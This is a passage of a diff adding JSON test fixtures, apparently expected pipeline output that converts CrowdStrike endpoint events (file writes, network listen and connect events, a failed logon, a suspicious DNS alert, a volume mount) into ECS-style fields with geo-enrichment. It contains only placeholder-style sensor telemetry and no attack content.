+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-12-1-1647509123-1308660782-3901357462-3999411581"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:08:49.571Z",
+            "crowdstrike": {
+                "AuthenticationId": "895027",
+                "ConfigStateHash": "3338885535",
+                "ContextProcessId": "1786917081743",
+                "ContextTimeStamp": "2020-11-08T17:08:37.892Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileEcpBitmask": "0",
+                "FileObject": "18446636933702558240",
+                "IrpFlags": "1028",
+                "IsOnNetwork": "1",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9165-067ee18a7975",
+                "name": "OoxmlFileWrittenV11"
+            },
+            "device": {
+                "id": "fffffffffa474d216472f3edb73c75ed"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:08:49.571Z",
+                "id": "ffffffff-1111-11eb-9165-067ee18a7975|fffffffffa474d216472f3edb73c75ed|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"895027\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1786917081743\",\"ContextThreadId\":\"31685015444484\",\"ContextTimeStamp\":\"1604855317.892\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"0000000000000000be341bb58bc5f1f2a24339010200510e\",\"FileObject\":\"18446636933702558240\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"1\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"223989\",\"TargetFileName\":\"\\\\Device\\\\Mup\\\\intranet.dev\\\\int\\\\Test.pptx\",\"TokenType\":\"1\",\"aid\":\"fffffffffa474d216472f3edb73c75ed\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"OoxmlFileWritten\",\"id\":\"ffffffff-1111-11eb-9165-067ee18a7975\",\"name\":\"OoxmlFileWrittenV11\",\"timestamp\":\"1604855329571\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\Mup\\intranet.dev\\int",
+                "extension": "pptx",
+                "inode": "0000000000000000be341bb58bc5f1f2a24339010200510e",
+                "name": "Test.pptx",
+                "path": "\\Device\\Mup\\intranet.dev\\int\\Test.pptx",
+                "size": 223989,
+                "type": "file"
+            },
+            "host": {
+                "id": "fffffffffa474d216472f3edb73c75ed",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "OoxmlFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "fffffffffa474d216472f3edb73c75ed",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1786917081743",
+                "thread": {
+                    "id": 31685015444484
+                }
+            },
+            "related": {
+                "hash": [
+                    "3338885535"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:09:11.798Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3765958535",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "439029805661",
+                "ContextTimeStamp": "2020-11-08T17:09:11.158Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-85f5-02ab029194b9",
+                "name": "NetworkListenIP6V5"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff1f924e228a807ea4c0f21b0b"
+            },
+            "event": {
+                "action": "NetworkListenIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:09:11.798Z",
+                "id": "ffffffff-1111-11eb-85f5-02ab029194b9|ffffffff1f924e228a807ea4c0f21b0b|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ConnectionDirection\":\"2\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"439029805661\",\"ContextThreadId\":\"273683743193497\",\"ContextTimeStamp\":\"1604855351.158\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"50373\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffff1f924e228a807ea4c0f21b0b\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-85f5-02ab029194b9\",\"name\":\"NetworkListenIP6V5\",\"timestamp\":\"1604855351798\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffff1f924e228a807ea4c0f21b0b",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkListenIP6",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff1f924e228a807ea4c0f21b0b",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "439029805661",
+                "thread": {
+                    "id": 273683743193497
+                }
+            },
+            "related": {
+                "hash": [
+                    "3765958535"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                    "0:0:0:0:0:0:0:0"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "port": 50373
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:09:15.495Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1457965279",
+                "ContextProcessId": "321365562189152025",
+                "ContextTimeStamp": "2020-11-08T14:34:30.744Z",
+                "Entitlements": "15",
+                "SHA256HashData": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d",
+                "VnodeModificationType": "10",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b",
+                "name": "AsepFileChangeMacV2"
+            },
+            "device": {
+                "id": "ffffffff1f32487185fcde66a9dc0528"
+            },
+            "event": {
+                "action": "AsepFileChange",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:09:15.495Z",
+                "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"ContextProcessId\":\"321365562189152025\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604846070.744\",\"Entitlements\":\"15\",\"SHA256HashData\":\"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d\",\"Size\":\"29646\",\"TargetFileName\":\"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc\",\"VnodeModificationType\":\"10\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"AsepFileChange\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"AsepFileChangeMacV2\",\"timestamp\":\"1604855355495\"}",
+                "outcome": "success",
+                "type": [
+                    "creation",
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork",
+                "hash": {
+                    "sha256": "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d"
+                },
+                "name": "rsrc",
+                "path": "/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc",
+                "size": 29646,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff1f32487185fcde66a9dc0528",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "AsepFileChange",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff1f32487185fcde66a9dc0528",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "321365562189152025",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d",
+                    "1457965279"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:33.422Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3011122681",
+                "ContextProcessId": "2932136",
+                "ContextTimeStamp": "2020-11-08T17:06:31.803Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "UserLogonFlags": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-aa5a-0207e26418af",
+                "name": "UserLogonFailedV1"
+            },
+            "device": {
+                "id": "ffffffffa5bd4efaa195a7132c576edc"
+            },
+            "event": {
+                "action": "UserLogonFailed",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:06:33.422Z",
+                "id": "ffffffff-1111-11eb-aa5a-0207e26418af|ffffffffa5bd4efaa195a7132c576edc|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3011122681\",\"ContextProcessId\":\"2932136\",\"ContextThreadId\":\"36157339485804\",\"ContextTimeStamp\":\"1604855191.803\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonTime\":\"\",\"PasswordLastSet\":\"\",\"UserLogonFlags\":\"1\",\"UserName\":\"user7\",\"UserSid\":\"S-1-5-10\",\"aid\":\"ffffffffa5bd4efaa195a7132c576edc\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogonFailed\",\"id\":\"ffffffff-1111-11eb-aa5a-0207e26418af\",\"name\":\"UserLogonFailedV1\",\"timestamp\":\"1604855193422\"}",
+                "outcome": "failure",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa5bd4efaa195a7132c576edc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogonFailed",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffa5bd4efaa195a7132c576edc",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "2932136",
+                "thread": {
+                    "id": 36157339485804
+                }
+            },
+            "related": {
+                "hash": [
+                    "3011122681"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user7",
+                    "S-1-5-10"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-10",
+                "name": "user7"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:39.798Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1858880895",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "56042872298",
+                "ContextTimeStamp": "2020-11-08T17:05:36.669Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-a889-061944805289",
+                "name": "NetworkConnectIP6V5"
+            },
+            "destination": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "port": 443
+            },
+            "device": {
+                "id": "ffffffff6854438eb4181691ec47e43d"
+            },
+            "event": {
+                "action": "NetworkConnectIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:06:39.798Z",
+                "id": "ffffffff-1111-11eb-a889-061944805289|ffffffff6854438eb4181691ec47e43d|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1858880895\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"56042872298\",\"ContextTimeStamp\":\"1604855136.669\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"LocalPort\":\"49689\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemotePort\":\"443\",\"aid\":\"ffffffff6854438eb4181691ec47e43d\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-a889-061944805289\",\"name\":\"NetworkConnectIP6V5\",\"timestamp\":\"1604855199798\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff6854438eb4181691ec47e43d",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkConnectIP6",
+            "network": {
+                "community_id": "1:H+oCOL0YBAZDUBNuLG0b/Xuke3g=",
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff6854438eb4181691ec47e43d",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "56042872298"
+            },
+            "related": {
+                "hash": [
+                    "1858880895"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
+                "port": 49689
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:06:53.224Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1789338890",
+                "ContextProcessId": "321382909294815631",
+                "ContextTimeStamp": "2020-11-08T16:42:35.987Z",
+                "Entitlements": "15",
+                "SHA256HashData": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583",
+                "TargetFileName": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8773-06939a2f0915",
+                "name": "NewExecutableRenamedMacV1"
+            },
+            "device": {
+                "id": "ffffffffc07b49d6b7426e970523671a"
+            },
+            "event": {
+                "action": "NewExecutableRenamed",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T17:06:53.224Z",
+                "id": "ffffffff-1111-11eb-8773-06939a2f0915|ffffffffc07b49d6b7426e970523671a|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"321382909294815631\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604853755.987\",\"Entitlements\":\"15\",\"SHA256HashData\":\"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583\",\"Size\":\"165\",\"SourceFileName\":\"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq\",\"TargetFileName\":\"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478\",\"aid\":\"ffffffffc07b49d6b7426e970523671a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8773-06939a2f0915\",\"name\":\"NewExecutableRenamedMacV1\",\"timestamp\":\"1604855213224\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": ".dat.nosync2c98.VBwjsq",
+                        "path": "/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq"
+                    }
+                },
+                "directory": "/Library/Application Support/JAMF/tmp",
+                "hash": {
+                    "sha256": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583"
+                },
+                "name": "6B24D2B6-BC17-4470-8078-91A787A19478",
+                "path": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478",
+                "size": 165,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffffc07b49d6b7426e970523671a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NewExecutableRenamed",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffc07b49d6b7426e970523671a",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "321382909294815631",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583",
+                    "1789338890"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:07:48.755Z",
+            "crowdstrike": {
+                "ConfigStateHash": "203564169",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "321367236803434269",
+                "ContextTimeStamp": "2020-11-08T17:07:48.323Z",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:0"
+                ],
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9a50-0669ff09604d",
+                "name": "NetworkListenIP6MacV5"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffffa60a47af4ebd2a76070f0d4f"
+            },
+            "event": {
+                "action": "NetworkListenIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:07:48.755Z",
+                "id": "ffffffff-1111-11eb-9a50-0669ff09604d|ffffffffa60a47af4ebd2a76070f0d4f|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321367236803434269\",\"ContextTimeStamp\":\"1604855268.323\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"51076\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa60a47af4ebd2a76070f0d4f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-9a50-0669ff09604d\",\"name\":\"NetworkListenIP6MacV5\",\"timestamp\":\"1604855268755\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa60a47af4ebd2a76070f0d4f",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkListenIP6",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa60a47af4ebd2a76070f0d4f",
+                "version": "1007.4.0011104.1"
+            },
+            "process": {
+                "entity_id": "321367236803434269"
+            },
+            "related": {
+                "hash": [
+                    "203564169"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0:0:0:0:0:0:0:0"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 51076
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:08:43.217Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3765958535",
+                "ContextProcessId": "1611521722601",
+                "ContextTimeStamp": "2020-11-08T17:08:00.307Z",
+                "DualRequest": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InterfaceIndex": 0,
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-885e-02ac336efd4b",
+                "name": "SuspiciousDnsRequestV2"
+            },
+            "device": {
+                "id": "ffffffff6d724d38af99c628fb904626"
+            },
+            "dns": {
+                "question": {
+                    "name": "raw.githubusercontent.com",
+                    "registered_domain": "githubusercontent.com",
+                    "subdomain": "raw",
+                    "top_level_domain": "com",
+                    "type": "A"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "SuspiciousDnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2020-11-08T17:08:43.217Z",
+                "id": "ffffffff-1111-11eb-885e-02ac336efd4b|ffffffff6d724d38af99c628fb904626|ffffffff30a3407dae27d0503611022d",
+                "kind": "alert",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ContextProcessId\":\"1611521722601\",\"ContextThreadId\":\"53405065993811\",\"ContextTimeStamp\":\"1604855280.307\",\"DomainName\":\"raw.githubusercontent.com\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff6d724d38af99c628fb904626\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"SuspiciousDnsRequest\",\"id\":\"ffffffff-1111-11eb-885e-02ac336efd4b\",\"name\":\"SuspiciousDnsRequestV2\",\"timestamp\":\"1604855323217\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "ffffffff6d724d38af99c628fb904626",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SuspiciousDnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff6d724d38af99c628fb904626",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1611521722601",
+                "thread": {
+                    "id": 53405065993811
+                }
+            },
+            "related": {
+                "hash": [
+                    "3765958535"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:08:49.102Z",
+            "crowdstrike": {
+                "ContextProcessId": "4492535979973",
+                "ContextTimeStamp": "2020-11-08T17:08:35.034Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "VolumeDeviceCharacteristics": "131072",
+                "VolumeDeviceObjectFlags": "134479872",
+                "VolumeDeviceType": "8",
+                "VolumeDriveLetter": "C:",
+                "VolumeFileSystemDevice": "\\Ntfs",
+                "VolumeFileSystemDriver": "\\FileSystem\\Ntfs",
+                "VolumeFileSystemType": "2",
+                "VolumeIsEncrypted": "0",
+                "VolumeMountPoint": "\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}",
+                "VolumeName": "\\Device\\HarddiskVolume4",
+                "VolumeRealDeviceName": "\\Device\\HarddiskVolume4",
+                "VolumeSectorSize": "512",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9be9-024459b713c5",
+                "name": "FsVolumeMountedV6"
+            },
+            "device": {
+                "id": "ffffffff1990483499a736373600eef7"
+            },
+            "event": {
+                "action": "FsVolumeMounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2020-11-08T17:08:49.102Z",
+                "id": "ffffffff-1111-11eb-9be9-024459b713c5|ffffffff1990483499a736373600eef7|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"100.3.0011603.1\",\"ContextProcessId\":\"4492535979973\",\"ContextThreadId\":\"14023068415125\",\"ContextTimeStamp\":\"1604855315.034\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_8086\\u0026DEV_31E3\\u0026SUBSYS_080C1028\\u0026REV_03\\\\3\\u002611583659\\u00260\\u002690\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeDeviceCharacteristics\":\"131072\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeDeviceType\":\"8\",\"VolumeDriveLetter\":\"C:\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"VolumeFileSystemType\":\"2\",\"VolumeIsEncrypted\":\"0\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"aid\":\"ffffffff1990483499a736373600eef7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeMounted\",\"id\":\"ffffffff-1111-11eb-9be9-024459b713c5\",\"name\":\"FsVolumeMountedV6\",\"timestamp\":\"1604855329102\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
